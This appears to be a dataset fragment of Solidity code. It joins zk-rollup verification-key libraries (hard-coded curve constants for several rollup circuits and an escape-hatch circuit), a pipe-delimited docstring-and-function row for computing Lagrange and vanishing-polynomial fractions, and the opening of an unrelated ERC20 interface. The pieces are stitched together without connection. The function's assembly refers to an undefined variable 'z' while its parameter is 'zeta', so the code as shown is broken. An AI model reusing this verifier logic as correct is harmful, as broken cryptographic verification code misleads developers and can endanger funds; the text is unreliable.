mstore(add(mload(add(vk, 0x1a0)), 0x20), 0x1683a17e5916c5b9d4a207cc851046ce8c2e4c0969c9f7b415b408c9a04e1e5f)
mstore(mload(add(vk, 0x1c0)), 0x26d32da521d28feac610accf88e570731359b6aadab174e5c54764f5b27479cc)//vk.QRANGE
mstore(add(mload(add(vk, 0x1c0)), 0x20), 0x23da92a89982bb0c3aea8828d5ba5c7cf18dafe5955cca80ce577931026169c3)
mstore(mload(add(vk, 0x1e0)), 0x27cda6c91bb4d3077580b03448546ca1ad7535e7ba0298ce8e6d809ee448b42a)//vk.QLOGIC
mstore(add(mload(add(vk, 0x1e0)), 0x20), 0x02f356e126f28aa1446d87dd22b9a183c049460d7c658864cdebcf908fdfbf2b)
mstore(mload(add(vk, 0x200)), 0x1bded30987633ade34bfc4f5dcbd52037f9793f81b3b64a4f9b2f727f510b68a)//vk.SIGMA1
mstore(add(mload(add(vk, 0x200)), 0x20), 0x18f40cabd6c86d97b3f074c6e1138dc2b5b9a9e818f547ae44963903b390fbb9)
mstore(mload(add(vk, 0x220)), 0x0c10302401e0b254cb1bdf938db61dd2c410533da8847d17b982630748f0b2dd)//vk.SIGMA2
mstore(add(mload(add(vk, 0x220)), 0x20), 0x070eec8345671872a78e1a2f0af5efeb844f89d973c51aabbb648396d5db7356)
mstore(mload(add(vk, 0x240)), 0x2372b6db3edc75e1682ed30b67f3014cbb5d038363953a6736c16a1deecbdf79)//vk.SIGMA3
mstore(add(mload(add(vk, 0x240)), 0x20), 0x28d36f1f1f02d019955c7a582cbe8555b9662a27862b1b61e0d40c33b2f55bad)
mstore(mload(add(vk, 0x260)), 0x0297ba9bd48b4ab9f0bb567cfea88ff27822214f5ba096bf4dea312a08323d61)//vk.SIGMA4
mstore(add(mload(add(vk, 0x260)), 0x20), 0x174eae2839fb8eed0ae03668a2a7628a806a6873591b5af113df6b9aa969e67f)
mstore(add(vk, 0x280), 0x01) // vk.contains_recursive_proof
mstore(add(vk, 0x2a0), 62) // vk.recursive_proof_public_input_indices
mstore(mload(add(vk, 0x2c0)), 0x260e01b251f6f1c7e7ff4e580791dee8ea51d87a358e038b4efe30fac09383c1) // vk.g2_x.X.c1
mstore(add(mload(add(vk, 0x2c0)), 0x20), 0x0118c4d5b837bcc2bc89b5b398b5974e9f5944073b32078b7e231fec938883b0) // vk.g2_x.X.c0
mstore(add(mload(add(vk, 0x2c0)), 0x40), 0x04fc6369f7110fe3d25156c1bb9a72859cf2a04641f99ba4ee413c80da6a5fe4) // vk.g2_x.Y.c1
mstore(add(mload(add(vk, 0x2c0)), 0x60), 0x22febda3c0c0632a56475b4214e5615e11e6dd3f96e6cea2854a87d4dacc5e55) // vk.g2_x.Y.c0
}
return vk;
}
}
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd
pragma solidity >=0.6.0 <0.8.0;
pragma experimental ABIEncoderV2;
import {Types} from '../cryptography/Types.sol';
import {Bn254Crypto} from '../cryptography/Bn254Crypto.sol';
library Rollup28x1Vk {
using Bn254Crypto for Types.G1Point;
using Bn254Crypto for Types.G2Point;
function get_verification_key() internal pure returns (Types.VerificationKey memory) {
Types.VerificationKey memory vk;
assembly {
mstore(add(vk, 0x00), 1048576) // vk.circuit_size
mstore(add(vk, 0x20), 414) // vk.num_inputs
mstore(add(vk, 0x40),0x26125da10a0ed06327508aba06d1e303ac616632dbed349f53422da953337857) // vk.work_root
mstore(add(vk, 0x60),0x30644b6c9c4a72169e4daa317d25f04512ae15c53b34e8f5acd8e155d0a6c101) // vk.domain_inverse
mstore(add(vk, 0x80),0x100c332d2100895fab6473bc2c51bfca521f45cb3baca6260852a8fde26c91f3) // vk.work_root_inverse
mstore(mload(add(vk, 0xa0)), 0x10bd711408fe2b61aa9262b4a004dcf2ca130cbc32707b0b912f9f89988c98ba)//vk.Q1
mstore(add(mload(add(vk, 0xa0)), 0x20), 0x08afbc361df7453c1dd919450bd79220a33b2788b6f95283050bf9c323135c5b)
mstore(mload(add(vk, 0xc0)), 0x137a7113b310661cf1675a8f8770d5a42207c973b5af1d01a6c032bdf2f29a4a)//vk.Q2
mstore(add(mload(add(vk, 0xc0)), 0x20), 0x1f5b2952576e631b56af8de08eac4f657df5b12accb50c9471a1db88774e90b5)
mstore(mload(add(vk, 0xe0)), 0x1cef558b208cf3d4f94dfa013a98b95290b868386ef510ca1748f6f98bf10be6)//vk.Q3
mstore(add(mload(add(vk, 0xe0)), 0x20), 0x2446a3863bc0f0f76dd05dd1d42d14bd8bac21d722b77a1f5a5b2d5a579a5234)
mstore(mload(add(vk, 0x100)), 0x2684bc8456c09dd44dd28e01787220d1f16067ebf7fe761a2e0162f2487bbfe5)//vk.Q4
mstore(add(mload(add(vk, 0x100)), 0x20), 0x18196003211bed495d38cbdb609208146170031a8382280a7858085d8a887957)
mstore(mload(add(vk, 0x120)), 0x2d7c9719e88ebb7b4a2127a6db4b86ad6122a4ef8a1c793fdec3a8973d0b9876)//vk.Q5
mstore(add(mload(add(vk, 0x120)), 0x20), 0x297cd6d4531a9ada5d0da740135f7e59bf007a6e43c68e0b3535cca70210bd1e)
mstore(mload(add(vk, 0x140)), 0x096d40976d338598fc442fb0c1a154d419bca8f9f43eb2015331a97d59565bd1)//vk.QM
mstore(add(mload(add(vk, 0x140)), 0x20), 0x18feffe5bef7a4a8ad9a425c9ae3ccfc57b09fa380994e72ebbbc38b7e1742a0)
mstore(mload(add(vk, 0x160)), 0x116696fa382e05e33b3cfe33589c21f0ed1e2c943598843118cc537cbf8a7889)//vk.QC
mstore(add(mload(add(vk, 0x160)), 0x20), 0x0943908333df3135bf0a2bb95598e8ed63f398850e5e6580f717fb88e5cfdded)
mstore(mload(add(vk, 0x180)), 0x1eb644a98415205832ee4888b328ad7c677467160a32a5d46e4ab89f9ae778ba)//vk.QARITH
mstore(add(mload(add(vk, 0x180)), 0x20), 0x1d3973861d86d55001f5c08bf4f679c311cea8433625b4a5a76a41fcacca7065)
mstore(mload(add(vk, 0x1a0)), 0x0f05143ecec847223aff4840177b7893eadfa3a251508a894b8ca4befc97ac94)//vk.QECC
mstore(add(mload(add(vk, 0x1a0)), 0x20), 0x1920490f668a36b0d098e057aa3b0ef6a979ed13737d56c7d72782f6cc27ded4)
mstore(mload(add(vk, 0x1c0)), 0x0f5856acdec453a85cd6f66561bd683f611b945b0efd33b751cb2700d231667a)//vk.QRANGE
mstore(add(mload(add(vk, 0x1c0)), 0x20), 0x21895e7908d82d86a0742fa431c120b69971d4a3baa00ff74f275e43d972e6af)
mstore(mload(add(vk, 0x1e0)), 0x01902b1a4652cb8eeaf73c03be6dd9cc46537a64f691358f31598ea108a13b37)//vk.QLOGIC
mstore(add(mload(add(vk, 0x1e0)), 0x20), 0x13484549915a2a4bf652cc3200039c60e5d4e3097632590ac89ade0957f4e474)
mstore(mload(add(vk, 0x200)), 0x0a8d6da0158244b6ddc8109319cafeb5bf8706b8d0d429f1ffd69841b91d0c9b)//vk.SIGMA1
mstore(add(mload(add(vk, 0x200)), 0x20), 0x0c3b81b88d53d7f1eb09511e3df867418fe7aca31413843b4369e480779ae965)
mstore(mload(add(vk, 0x220)), 0x1e2f827d84aedf723ac005cad54e173946fe58f2ee0c6260ca61731c0092c762)//vk.SIGMA2
mstore(add(mload(add(vk, 0x220)), 0x20), 0x0c42ca9f0857faf0eebbcfc915eefc3616705dc1a0a5f461278c5ea2dd46ad79)
mstore(mload(add(vk, 0x240)), 0x14664645717286f98d1505681a9ed79ca2f14acbfbd539d04a42c52295569baa)//vk.SIGMA3
mstore(add(mload(add(vk, 0x240)), 0x20), 0x156b5ceac5557d202408c6be907fb3604d1bfab9f16f164ebd1eabdb0ebca7f7)
mstore(mload(add(vk, 0x260)), 0x0f9987c57db930d1d7b18a9389f77b441a75a3c8abdd1f18be9d012cef08f981)//vk.SIGMA4
mstore(add(mload(add(vk, 0x260)), 0x20), 0x2c2cbc7eb7af7221a6fc921f45295645bcaecc330dd2ea76ab55041bc4aa4514)
mstore(add(vk, 0x280), 0x01) // vk.contains_recursive_proof
mstore(add(vk, 0x2a0), 398) // vk.recursive_proof_public_input_indices
mstore(mload(add(vk, 0x2c0)), 0x260e01b251f6f1c7e7ff4e580791dee8ea51d87a358e038b4efe30fac09383c1) // vk.g2_x.X.c1
mstore(add(mload(add(vk, 0x2c0)), 0x20), 0x0118c4d5b837bcc2bc89b5b398b5974e9f5944073b32078b7e231fec938883b0) // vk.g2_x.X.c0
mstore(add(mload(add(vk, 0x2c0)), 0x40), 0x04fc6369f7110fe3d25156c1bb9a72859cf2a04641f99ba4ee413c80da6a5fe4) // vk.g2_x.Y.c1
mstore(add(mload(add(vk, 0x2c0)), 0x60), 0x22febda3c0c0632a56475b4214e5615e11e6dd3f96e6cea2854a87d4dacc5e55) // vk.g2_x.Y.c0
}
return vk;
}
}
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd
pragma solidity >=0.6.0 <0.8.0;
pragma experimental ABIEncoderV2;
import {Types} from '../cryptography/Types.sol';
import {Bn254Crypto} from '../cryptography/Bn254Crypto.sol';
library Rollup28x2Vk {
using Bn254Crypto for Types.G1Point;
using Bn254Crypto for Types.G2Point;
function get_verification_key() internal pure returns (Types.VerificationKey memory) {
Types.VerificationKey memory vk;
assembly {
mstore(add(vk, 0x00), 2097152) // vk.circuit_size
mstore(add(vk, 0x20), 798) // vk.num_inputs
mstore(add(vk, 0x40),0x1ded8980ae2bdd1a4222150e8598fc8c58f50577ca5a5ce3b2c87885fcd0b523) // vk.work_root
mstore(add(vk, 0x60),0x30644cefbebe09202b4ef7f3ff53a4511d70ff06da772cc3785d6b74e0536081) // vk.domain_inverse
mstore(add(vk, 0x80),0x19c6dfb841091b14ab14ecc1145f527850fd246e940797d3f5fac783a376d0f0) // vk.work_root_inverse
mstore(mload(add(vk, 0xa0)), 0x0f0d0bfb6fec117bb2077786e723a1565aeb4bfa14c72da9878faa883fcd2d9f)//vk.Q1
mstore(add(mload(add(vk, 0xa0)), 0x20), 0x15c54ec4e65aa7ed3e2d32812a8b10f552b50967d6b7951486ad4adf89c223f8)
mstore(mload(add(vk, 0xc0)), 0x0a9996200df4a05c08248a418b2b425a0496d4be35730607e4196b765b1cf398)//vk.Q2
mstore(add(mload(add(vk, 0xc0)), 0x20), 0x2a040c7281e5b5295f0b7364ff657b8aa3b9a5763fe5a883de0e5515ce3c3889)
mstore(mload(add(vk, 0xe0)), 0x25c60a9905b097158141e3c0592524cecb6bbd078b3a8db8151249a630d27af8)//vk.Q3
mstore(add(mload(add(vk, 0xe0)), 0x20), 0x3061fbf11a770e0988ebf6a86cd2444889297f5840987ae62643db0c775fd200)
mstore(mload(add(vk, 0x100)), 0x177117434065a4c3716c4e9fad4ff60d7f73f1bf32ca94ea89037fd1fc905be9)//vk.Q4
mstore(add(mload(add(vk, 0x100)), 0x20), 0x0d660f14e9f03323ee85d6e5434e9c87c98ebd4408ea2cb7aa4d4c43f40e55e1)
mstore(mload(add(vk, 0x120)), 0x0df6c77a9a6bae51cee804b5c1ea6a0ed527bc5bf8a44b1adc4a963b4541a7be)//vk.Q5
mstore(add(mload(add(vk, 0x120)), 0x20), 0x1d8fc177b0b1af86d92bc51b39280afb343dbba2d2929f28de0d6fc6656c2917)
mstore(mload(add(vk, 0x140)), 0x01dfe736aa8cf3635136a08f35dd65b184c85e9a0c59dac8f1d0ebead964959b)//vk.QM
mstore(add(mload(add(vk, 0x140)), 0x20), 0x2a691233e2e13145e933c9118ec820af49488639045ce0642807b1022b3c74e7)
mstore(mload(add(vk, 0x160)), 0x07d69a43886facf8097f8cad533853c896c580aaeb533a02ce7dc5cf92f21ce7)//vk.QC
mstore(add(mload(add(vk, 0x160)), 0x20), 0x2d9c7ce74cb26cb62559bc4697d9cce0c0405d7afabff15c3d740c90fe5fc698)
mstore(mload(add(vk, 0x180)), 0x2cc2690e4100f95c939a850467e6adc5d906b2f8e7e5d1444e38278e241559da)//vk.QARITH
mstore(add(mload(add(vk, 0x180)), 0x20), 0x2d88c17306d76a91cc9e0b7e225bce42c174819d0e1bac7ee9796081a8285e2e)
mstore(mload(add(vk, 0x1a0)), 0x0b103de069011640f2594cafec9b5ae2eaa8dadbf83be5891cf7e3119f78bf7e)//vk.QECC
mstore(add(mload(add(vk, 0x1a0)), 0x20), 0x13fc1c920188a004ab78d7a825d1277ffa1cab0707a3cf78874893eef617d3c0)
mstore(mload(add(vk, 0x1c0)), 0x0de3e722e1a3c2383a2e8939075967c7775ec5b89bf5063b178733051defd1d7)//vk.QRANGE
mstore(add(mload(add(vk, 0x1c0)), 0x20), 0x1aff0c1424638eb7c2df2bad7b97ab810aaa3eb285d9badcf4d4dc45a696da69)
mstore(mload(add(vk, 0x1e0)), 0x27257a08dffe29b8e4bf78a9844d01fd808ee8f6e7d419b4e348cdf7d4ab686e)//vk.QLOGIC
mstore(add(mload(add(vk, 0x1e0)), 0x20), 0x11ee0a08f3d883b9eecc693f4c03f1b15356393c5b617da28b96dc5bf9236a91)
mstore(mload(add(vk, 0x200)), 0x21fb5ca832dc2125bad5019939ad4659e7acefdad6448dd1d900f8912f2a4c6a)//vk.SIGMA1
mstore(add(mload(add(vk, 0x200)), 0x20), 0x13cef6e1b0d450b3fe95afdc4dc540e453b66255b12e5bf44dbd37e163dcdd40)
mstore(mload(add(vk, 0x220)), 0x02f89ba935374a58032f20285d5a1158818f669217a5fed04d04ad6c468e0791)//vk.SIGMA2
mstore(add(mload(add(vk, 0x220)), 0x20), 0x26a802cc55c39f79774e98942c103410e4a9889db5239a755d86ad1300c5b3c8)
mstore(mload(add(vk, 0x240)), 0x2bdb1e71d81c17186eb361e2894a194070dda76762de9caa314b8f099393ae58)//vk.SIGMA3
mstore(add(mload(add(vk, 0x240)), 0x20), 0x0efdf91c574f69a89a1154cd97e9dfee19a03590c71738670f866872f6d7b34f)
mstore(mload(add(vk, 0x260)), 0x2f16de71f5081ba2a41d06a9d0d0790f5ea9c2a0353a89c18ba366f5a313cfe3)//vk.SIGMA4
mstore(add(mload(add(vk, 0x260)), 0x20), 0x072220b85bcb1814c213f4ea717c6db6b99043f40ebc6f1ba67f13488eb949fc)
mstore(add(vk, 0x280), 0x01) // vk.contains_recursive_proof
mstore(add(vk, 0x2a0), 782) // vk.recursive_proof_public_input_indices
mstore(mload(add(vk, 0x2c0)), 0x260e01b251f6f1c7e7ff4e580791dee8ea51d87a358e038b4efe30fac09383c1) // vk.g2_x.X.c1
mstore(add(mload(add(vk, 0x2c0)), 0x20), 0x0118c4d5b837bcc2bc89b5b398b5974e9f5944073b32078b7e231fec938883b0) // vk.g2_x.X.c0
mstore(add(mload(add(vk, 0x2c0)), 0x40), 0x04fc6369f7110fe3d25156c1bb9a72859cf2a04641f99ba4ee413c80da6a5fe4) // vk.g2_x.Y.c1
mstore(add(mload(add(vk, 0x2c0)), 0x60), 0x22febda3c0c0632a56475b4214e5615e11e6dd3f96e6cea2854a87d4dacc5e55) // vk.g2_x.Y.c0
}
return vk;
}
}
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd
pragma solidity >=0.6.0 <0.8.0;
pragma experimental ABIEncoderV2;
import {Types} from '../cryptography/Types.sol';
import {Bn254Crypto} from '../cryptography/Bn254Crypto.sol';
library Rollup28x4Vk {
using Bn254Crypto for Types.G1Point;
using Bn254Crypto for Types.G2Point;
function get_verification_key() internal pure returns (Types.VerificationKey memory) {
Types.VerificationKey memory vk;
assembly {
mstore(add(vk, 0x00), 4194304) // vk.circuit_size
mstore(add(vk, 0x20), 1566) // vk.num_inputs
mstore(add(vk, 0x40),0x1ad92f46b1f8d9a7cda0ceb68be08215ec1a1f05359eebbba76dde56a219447e) // vk.work_root
mstore(add(vk, 0x60),0x30644db14ff7d4a4f1cf9ed5406a7e5722d273a7aa184eaa5e1fb0846829b041) // vk.domain_inverse
mstore(add(vk, 0x80),0x2eb584390c74a876ecc11e9c6d3c38c3d437be9d4beced2343dc52e27faa1396) // vk.work_root_inverse
mstore(mload(add(vk, 0xa0)), 0x26bb602a4eda00566ddd5bbeff4cd2423db0009acc3accf7156606a4245fd845)//vk.Q1
mstore(add(mload(add(vk, 0xa0)), 0x20), 0x1dd8547f013efcfc01a7e40a509b24646595342898c5242abe9b10fb58f1c58b)
mstore(mload(add(vk, 0xc0)), 0x009bf6f14745eec4f9055a140861a09d49864fda7485b704896de4a6ecdb9551)//vk.Q2
mstore(add(mload(add(vk, 0xc0)), 0x20), 0x08e79e438a66ef31e7bfb99a1165e43f524bd26f78d4f394599f72b59b8042fd)
mstore(mload(add(vk, 0xe0)), 0x14b7a43408b0c79f59b52823495cf4ef5e41e217091aac757e7d89bc42e10ae3)//vk.Q3
mstore(add(mload(add(vk, 0xe0)), 0x20), 0x25a096773133d0ce13cb5c27993a3a4d2bb6e0e1d8f2e04674fec28e9e3c5a28)
mstore(mload(add(vk, 0x100)), 0x08b6422c5411befe0e6a3a0696a6dda1035fb4738ff25917532076a0a4126af7)//vk.Q4
mstore(add(mload(add(vk, 0x100)), 0x20), 0x2298cf986a28cb1d0ee774a65f21e976452bfdf2126455424f29d67b267e9a66)
mstore(mload(add(vk, 0x120)), 0x263505e9368a00c5d18b6b2367a557425010ef995257e28ca1d96734382aa654)//vk.Q5
mstore(add(mload(add(vk, 0x120)), 0x20), 0x206c6b0e864976d0cf1af4f23cc0686c18413558fdad150df4da74e07872e469)
mstore(mload(add(vk, 0x140)), 0x1a01eeee82d343d876b4768c9ff9d6556d46513d115678664f8f1c0d43afbbc3)//vk.QM
mstore(add(mload(add(vk, 0x140)), 0x20), 0x25917c457c81d9f5f4b896233f6265b9d60a359af9df16956e4dbc09763c0bd6)
mstore(mload(add(vk, 0x160)), 0x17b0ae9b0c736a1979ab82f54fb4d001170dfa76d006103f02c43a67dec91fb3)//vk.QC
mstore(add(mload(add(vk, 0x160)), 0x20), 0x2c78125c1d76b79daae8fba3f3a32c1713ecb35bd66b0eebbc7196bfa52b9f57)
mstore(mload(add(vk, 0x180)), 0x25e1b7ef083b39733b81eb0907e96f617f0fe98f23c5b02bc973433eae02ff77)//vk.QARITH
mstore(add(mload(add(vk, 0x180)), 0x20), 0x0a470bcbe5901d4889d389054d564a2449fa000fec23e0cbff8a1c5b0392152b)
mstore(mload(add(vk, 0x1a0)), 0x0cd6a83b1c2ca031316875660a0b30c58e356b27cfe63f3d9cb912d128d6a3a5)//vk.QECC
mstore(add(mload(add(vk, 0x1a0)), 0x20), 0x29f1e77dc2a6d16f6208579b9e370864204c7099f05ac168c8b49f8d94e1eea5)
mstore(mload(add(vk, 0x1c0)), 0x0b33f722b800eb6ccf5fd90efb0354b7093892f48398856e21720a5ba817bef4)//vk.QRANGE
mstore(add(mload(add(vk, 0x1c0)), 0x20), 0x1723e0bad06c4d46d4cb0d643a0634d1fb191a0315672eea80e0f0b909cb4721)
mstore(mload(add(vk, 0x1e0)), 0x2c1e3dfcae155cfe932bab710d284da6b03cb5d0d2e2bc1a68534213e56f3b9a)//vk.QLOGIC
mstore(add(mload(add(vk, 0x1e0)), 0x20), 0x1edf920496e650dcf4454ac2b508880f053447b19a83978f915744c979df19b9)
mstore(mload(add(vk, 0x200)), 0x2419c069c1dfbf281accb738eca695c6ed185ff693668f624887d99cd9bef538)//vk.SIGMA1
mstore(add(mload(add(vk, 0x200)), 0x20), 0x22aab8ee870b67caae4805504bcd2965e5eb5397f9c93299ed7081d1a2536578)
mstore(mload(add(vk, 0x220)), 0x01850320a678501e3dc5aa919e578778d8360ac8ffbc737fb9d62c74bd7b3bf7)//vk.SIGMA2
mstore(add(mload(add(vk, 0x220)), 0x20), 0x06baff0bb65569a45146269564e5f679cc9556816a4e6e62a9a822bfa3a9a568)
mstore(mload(add(vk, 0x240)), 0x056cd85a7ef2cdd00313566df453f131e20dc1fe870845ddef9b4caad32cb87f)//vk.SIGMA3
mstore(add(mload(add(vk, 0x240)), 0x20), 0x1504f7003446dd2a73b86683d89c735e11cc8aef3de93481ce85c8e70ecb3b22)
mstore(mload(add(vk, 0x260)), 0x1e4573d2de1aac0427a8492c4c5348f3f8261f36636ff9e509490f958740b0a0)//vk.SIGMA4
mstore(add(mload(add(vk, 0x260)), 0x20), 0x0a039078c063734e840576e905e6616c67c08253d83c8e0df86ca7a1b5751290)
mstore(add(vk, 0x280), 0x01) // vk.contains_recursive_proof
mstore(add(vk, 0x2a0), 1550) // vk.recursive_proof_public_input_indices
mstore(mload(add(vk, 0x2c0)), 0x260e01b251f6f1c7e7ff4e580791dee8ea51d87a358e038b4efe30fac09383c1) // vk.g2_x.X.c1
mstore(add(mload(add(vk, 0x2c0)), 0x20), 0x0118c4d5b837bcc2bc89b5b398b5974e9f5944073b32078b7e231fec938883b0) // vk.g2_x.X.c0
mstore(add(mload(add(vk, 0x2c0)), 0x40), 0x04fc6369f7110fe3d25156c1bb9a72859cf2a04641f99ba4ee413c80da6a5fe4) // vk.g2_x.Y.c1
mstore(add(mload(add(vk, 0x2c0)), 0x60), 0x22febda3c0c0632a56475b4214e5615e11e6dd3f96e6cea2854a87d4dacc5e55) // vk.g2_x.Y.c0
}
return vk;
}
}
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd
pragma solidity >=0.6.0 <0.8.0;
pragma experimental ABIEncoderV2;
import {Types} from '../cryptography/Types.sol';
import {Bn254Crypto} from '../cryptography/Bn254Crypto.sol';
library EscapeHatchVk {
using Bn254Crypto for Types.G1Point;
using Bn254Crypto for Types.G2Point;
function get_verification_key() internal pure returns (Types.VerificationKey memory) {
Types.VerificationKey memory vk;
assembly {
mstore(add(vk, 0x00), 524288) // vk.circuit_size
mstore(add(vk, 0x20), 26) // vk.num_inputs
mstore(add(vk, 0x40),0x2260e724844bca5251829353968e4915305258418357473a5c1d597f613f6cbd) // vk.work_root
mstore(add(vk, 0x60),0x3064486657634403844b0eac78ca882cfd284341fcb0615a15cfcd17b14d8201) // vk.domain_inverse
mstore(add(vk, 0x80),0x06e402c0a314fb67a15cf806664ae1b722dbc0efe66e6c81d98f9924ca535321) // vk.work_root_inverse
mstore(mload(add(vk, 0xa0)), 0x1a3423bd895e8b66e96de71363e5c424087c0e04775ef8b42a367358753ae0f4)//vk.Q1
mstore(add(mload(add(vk, 0xa0)), 0x20), 0x2894da501e061ba9b5e1e1198f079425eebfe1a2bba51ba4fa8b76df1d1a73c8)
mstore(mload(add(vk, 0xc0)), 0x11f33e953c5db955d3f93a7e99805784c4e0ffa6cff9cad064793345c32d2129)//vk.Q2
mstore(add(mload(add(vk, 0xc0)), 0x20), 0x2061f0caa8fa3d35b65afa4bfa97f093b5ab74f62112436f54eebb254d005106)
mstore(mload(add(vk, 0xe0)), 0x05c63dff9ea6d84930499309729d82697af5febfc5b40ecb5296c55ea3f5e179)//vk.Q3
mstore(add(mload(add(vk, 0xe0)), 0x20), 0x270557e99250f65d4907e9d7ee9ebcc791712df61d8dbb7cadfbf1358049ce83)
mstore(mload(add(vk, 0x100)), 0x2f81998b3f87c8dd33ffc072ff50289c0e92cbcd570e86902dbad50225661525)//vk.Q4
mstore(add(mload(add(vk, 0x100)), 0x20), 0x0d7dd6359dbffd61df6032f827fd21953f9f0c73ec02dba7e1713d1cbefe2f71)
mstore(mload(add(vk, 0x120)), 0x14e5eedb828b93326d1eeae737d816193677c3f57a0fda32c839f294ee921852)//vk.Q5
mstore(add(mload(add(vk, 0x120)), 0x20), 0x0547179e2d2c259f3da8b7afe79a8a00f102604b630bcd8416f099b422aa3c0d)
mstore(mload(add(vk, 0x140)), 0x09336d18b1e1526a24d5f533445e70f4ae2ad131fe034eaa1dad6c40d42ff9b5)//vk.QM
mstore(add(mload(add(vk, 0x140)), 0x20), 0x04f997d41d2426caad28b1f32313d345bdf81ef4b6fcc80a273cb625e6cd502b)
mstore(mload(add(vk, 0x160)), 0x238db768786f8c7c3aba511b0660bcd8de54a369e1bfc5e88458dcedf6c860a4)//vk.QC
mstore(add(mload(add(vk, 0x160)), 0x20), 0x0814aa00e8c674f32437864d6576acb10e21706b574269118566a20420d6ed64)
mstore(mload(add(vk, 0x180)), 0x080189f596dddf5feda887af3a2a169e1ea8a69a65701cc150091ab5b4a96424)//vk.QARITH
mstore(add(mload(add(vk, 0x180)), 0x20), 0x16d74168928caaa606eeb5061a5e0315ad30943a604a958b4154dae6bcbe2ce8)
mstore(mload(add(vk, 0x1a0)), 0x0bea205b2dc3cb6cc9ed1483eb14e2f1d3c8cff726a2e11aa0e785d40bc2d759)//vk.QECC
mstore(add(mload(add(vk, 0x1a0)), 0x20), 0x19ee753b148189d6877e944c3b193c38c42708585a493ee0e2c43ad4a9f3557f)
mstore(mload(add(vk, 0x1c0)), 0x2db2e8919ea4292ce170cff4754699076b42af89b24e148cd6a172c416b59751)//vk.QRANGE
mstore(add(mload(add(vk, 0x1c0)), 0x20), 0x2bf92ad75a03c4f401ba560a0b3aa85a6d2932404974b761e6c00cc2f2ad26a8)
mstore(mload(add(vk, 0x1e0)), 0x2126d00eb70b411bdfa05aed4e08959767f250db6248b8a20f757a6ec2a7a6c6)//vk.QLOGIC
mstore(add(mload(add(vk, 0x1e0)), 0x20), 0x0bd3275037c33c2466cb1717d8e5c8cf2d2bb869dbc0a10d73ed2bea7d3e246b)
mstore(mload(add(vk, 0x200)), 0x264a4e627e4684e1ec952701a69f8b1c4d9b6dda9d1a615576c5e978bfae69eb)//vk.SIGMA1
mstore(add(mload(add(vk, 0x200)), 0x20), 0x1a8d0fd1f1b1e55d82ffca8bcb96aff440c7d58c804eb8c997530c6448a74441)
mstore(mload(add(vk, 0x220)), 0x0a4e05d11db2e3d857561c027fc69909922c83266c23913cc0716e4f3e20b01c)//vk.SIGMA2
mstore(add(mload(add(vk, 0x220)), 0x20), 0x2f4fd5534086a603cdff53bb3e2c40f4cae85839fc13cc4cf8aae8dba9b4265a)
mstore(mload(add(vk, 0x240)), 0x229d17f3ba3fe020cb02be60ae11a9a9cc5b625240edd6af8c21689af9d9e4f5)//vk.SIGMA3
mstore(add(mload(add(vk, 0x240)), 0x20), 0x2408b183ac099721fe9ddfb0c51c1c7d6305441aefdc1510d306027f22000f70)
mstore(mload(add(vk, 0x260)), 0x1d928372dc4405e422924f1750369a62320422208422c7a8ddf22510fe3301a3)//vk.SIGMA4
mstore(add(mload(add(vk, 0x260)), 0x20), 0x003f0e42598c2979879084939dd681db21471e29c009760079f8fde72ae59de4)
mstore(add(vk, 0x280), 0x00) // vk.contains_recursive_proof
mstore(add(vk, 0x2a0), 0) // vk.recursive_proof_public_input_indices
mstore(mload(add(vk, 0x2c0)), 0x260e01b251f6f1c7e7ff4e580791dee8ea51d87a358e038b4efe30fac09383c1) // vk.g2_x.X.c1
mstore(add(mload(add(vk, 0x2c0)), 0x20), 0x0118c4d5b837bcc2bc89b5b398b5974e9f5944073b32078b7e231fec938883b0) // vk.g2_x.X.c0
mstore(add(mload(add(vk, 0x2c0)), 0x40), 0x04fc6369f7110fe3d25156c1bb9a72859cf2a04641f99ba4ee413c80da6a5fe4) // vk.g2_x.Y.c1
mstore(add(mload(add(vk, 0x2c0)), 0x60), 0x22febda3c0c0632a56475b4214e5615e11e6dd3f96e6cea2854a87d4dacc5e55) // vk.g2_x.Y.c0
}
return vk;
}
}
|
Computes the vanishing polynoimal and lagrange evaluations L1 and Ln. return Returns fractions as numerators and denominators. We combine with the public input fraction and compute inverses as a batch/ vanishing_denominator = (z - w^{n-1})(z - w^{n-2})(z - w^{n-3})(z - w^{n-4}) we need to cut 4 roots of unity out of the vanishing poly, the last 4 constraints are not satisfied due to randomness added to ensure the proving system is zero-knowledge l_start_denominator = z - 1 l_end_denominator = z \omega^5 - 1
|
function compute_lagrange_and_vanishing_fractions(Types.VerificationKey memory vk, uint256 zeta
) internal pure returns (uint256, uint256, uint256, uint256, uint256) {
uint256 p = Bn254Crypto.r_mod;
uint256 vanishing_numerator = Bn254Crypto.pow_small(zeta, vk.circuit_size, p);
vk.zeta_pow_n = vanishing_numerator;
assembly {
vanishing_numerator := addmod(vanishing_numerator, sub(p, 1), p)
}
uint256 accumulating_root = vk.work_root_inverse;
uint256 work_root = vk.work_root_inverse;
uint256 vanishing_denominator;
uint256 domain_inverse = vk.domain_inverse;
uint256 l_start_denominator;
uint256 l_end_denominator;
assembly {
vanishing_denominator := addmod(z, sub(p, work_root), p)
work_root := mulmod(work_root, accumulating_root, p)
vanishing_denominator := mulmod(vanishing_denominator, addmod(z, sub(p, work_root), p), p)
work_root := mulmod(work_root, accumulating_root, p)
vanishing_denominator := mulmod(vanishing_denominator, addmod(z, sub(p, work_root), p), p)
work_root := mulmod(work_root, accumulating_root, p)
vanishing_denominator := mulmod(vanishing_denominator, addmod(z, sub(p, work_root), p), p)
}
work_root = vk.work_root;
uint256 lagrange_numerator;
assembly {
lagrange_numerator := mulmod(vanishing_numerator, domain_inverse, p)
l_start_denominator := addmod(z, sub(p, 1), p)
accumulating_root := mulmod(work_root, work_root, p)
accumulating_root := mulmod(accumulating_root, accumulating_root, p)
accumulating_root := mulmod(accumulating_root, work_root, p)
l_end_denominator := addmod(mulmod(accumulating_root, z, p), sub(p, 1), p)
}
return (vanishing_numerator, vanishing_denominator, lagrange_numerator, l_start_denominator, l_end_denominator);
}
| 5,793,026 |
/**
*Submitted for verification at Etherscan.io on 2020-10-29
*/
pragma solidity >=0.6.0 <0.7.0;
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/issues/20
interface ERC20Token {
/**
* @notice send `_value` token to `_to` from `msg.sender`
* @param _to The address of the recipient
* @param _value The amount of token to be transferred
* @return success Whether the transfer was successful or not
*/
